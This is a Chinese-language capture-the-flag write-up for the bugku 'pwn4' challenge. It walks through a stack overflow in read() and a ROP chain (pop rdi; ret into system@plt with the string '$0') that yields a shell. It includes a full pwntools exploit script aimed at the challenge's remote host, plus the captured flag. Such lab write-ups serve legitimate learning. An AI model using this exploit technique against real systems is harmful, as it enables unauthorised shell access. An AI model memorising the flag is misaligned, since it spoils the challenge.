2019-08-25 bugku pwn4 学习
1.拿到题目先file 一下文件看看文件属性
查看得知是64位动态链接库的文件。
2.checksec 查看是否开启什么保护
然而并没有什么保护
PIE 保护指定是对代码段进行保护
3.IDA查看内容
看到了敏感函数system,看着想办法跳转
4.查看main函数,有栈溢出的敏感函数 read
想办法利用read 函数
5.查看read函数栈中内容
完全能够进行溢出
6.由于system中没有’bin/sh’所以并不能直接跳转,这里找找巧看到了’$0’
因为在某些人的linux 中’$0’长长被用于bash的环境变量,也就是说:
system("$0") == system('bin/sh')
所以我们可以构造system(“bin/sh”)来进行系统调用。但是由于我们只能调用一次所以我们可以使用rdi和ret 跳转进行
注意:32位利用栈传参,64位利用寄存器传参,rdi,rsi,rdx,rcx,r8,r9,六个寄存器进行传参,所以通过跳转 pop rdi;ret 来进行传参 最后传入system函数地址进行跳转
所以可以构建payload,地址一定需要找正确:
from pwn import *
ip = "114.116.54.89"
port = 10004
p=remote(ip,port)
#p = process("./pwn4")
def debug():
gdb.attach(p)
raw_input("debug")
elf = ELF("./pwn4")
context.log_level = 'debug'
pop_rdi = 0x00000000004007d3
payload = 'A' * (0x10+8) + p64(pop_rdi) + p64(0x60111f) +p64(elf.plt["system"])
p.recv()
p.sendline(payload)
p.interactive()
执行命令:
可以直接拿到flag:
flag{264bc50112318cd6e1a67b0724d6d3af}
?:这是题目的第一个解题方法,第二个方法可以使用 puts泄露libc函数地址,在libc中找到’bin/sh’的偏移量,就可以进行调用,这个方法由于栈只有0x10大小所以就放弃了,因为栈中读不进去。